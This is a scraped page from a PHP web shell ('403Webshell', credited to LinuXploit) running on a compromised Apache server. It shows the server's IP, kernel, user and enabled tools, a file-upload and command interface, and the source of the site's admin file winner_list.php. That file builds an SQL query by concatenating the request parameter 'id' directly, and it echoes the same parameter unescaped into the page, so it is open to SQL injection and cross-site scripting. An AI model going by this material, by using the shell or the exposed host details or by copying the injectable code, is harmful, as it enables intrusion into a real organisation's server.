403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rsdgroup/adminPanel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rsdgroup/adminPanel/winner_list.php
<?php 
//echo '<pre>';
//print_r($_REQUEST);
include_once("session.php");
include_once("settings.php");
include_once("functions.php");
?> 
<LINK href="mel.css" type=text/css 
rel=stylesheet><LINK href="sdmenu.css" 
type=text/css rel=stylesheet>
<table width="94%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td>
        <fieldset>
      <legend>WINNER LIST FORM</legend>
      <table width="100%" border="0" cellspacing="2" cellpadding="0">
        <?php
		  if($msg!=""){ ?>
        <tr valign="middle" class="general"> 
          <td height="26" colspan="3" align="center"> 
            <?=$msg;?>
          </td>
        </tr>
        <?php } ?>
        <tr valign="middle" class="general"> 
        <td height="26" colspan="3"><input type="button" name="btnadd" value="Add Winner" class="button" onclick="window.location.href='winner_add.php?mode=Add&id=<?=$_REQUEST['id'];?>'" style="width:150px" /></td>
        </tr>
        <tr valign="middle" class="general"> 
          <td width="20%" height="26">Name</td>
          <td width="20%" height="26" >Award</td>
          <td width="20%" height="26">Location</td>
          <td width="20%" height="26" align="center" valign="middle" >Image</td>
          <td width="20%" align="center" >Action</td>
        </tr>
        <?php
				$query="select * from `winner_table` where news_id = '".$_REQUEST['id']."' order by name Desc";
				$result=mysql_query($query);
				while($arrayCategory=mysql_fetch_assoc($result))
				{	  
		?>
        <tr valign="middle" class="generaltxt"> 
          <td height="26"> 
            <?=$arrayCategory['name']?>
          </td>
          <td height="26"> 
            <?=$arrayCategory['award']?>
          </td>
          <td height="26"> 
            <?=$arrayCategory['location']?>
          </td>
          <td height="26" align="center"> <?php if($arrayCategory['image']!=""){ ?><img src="../cat_images/winner/<?=$arrayCategory['image']?>" width="50"><?php } ?></td>
          <td align="center"><!-- <a href="specification_list.php?P_Id=<?=$arrayCategory['winner_id']?>&mode=Edit&page=addspecification"  class="action1">S.Specification</a> 
                             |  --><a href="winner_add.php?id=<?=$_REQUEST['id']?>&winner_id=<?=$arrayCategory['winner_id']?>&mode=Edit" class="action1"><strong>Edit</strong></a> 
              | <a href="winner_list.php?winner_id=<?=$arrayCategory['winner_id']?>&file=<?=$arrayCategory['image']?>&action=DeleteWinner" onClick="return confirm('Are you sure you want to delete this  record?')" class="action1"><strong>Delete</strong></a> 
          </td>
        </tr>
        <?php } ?>
        <tr align="right" valign="middle" class="generaltxt"> 
          <td height="10" colspan="3">&nbsp;</td>
        </tr>
        <tr valign="middle" class="general" >
        <td height="26" colspan="3"><input type="button" name="btnadd" value="Close" class="button" onclick="window.location.href='news_add.php?id=<?=$_REQUEST['id']?>&mode=Edit&page=addnews'" style="width:150px" /></td>
        </tr>
        <tr align="right" valign="middle" class="generaltxt"> 
         <!-- <td height="26" colspan="3"><input type="button" name="btnadd2" value="Add Product" class="button" onclick="window.location.href='product_add.php?mode=Add&page=addproduct'" style="width:150px" /></td> -->
        </tr>
      </table>
        </fieldset>
      </td>
  </tr>
</table>

Youez - 2016 - github.com/yon3zu
LinuXploit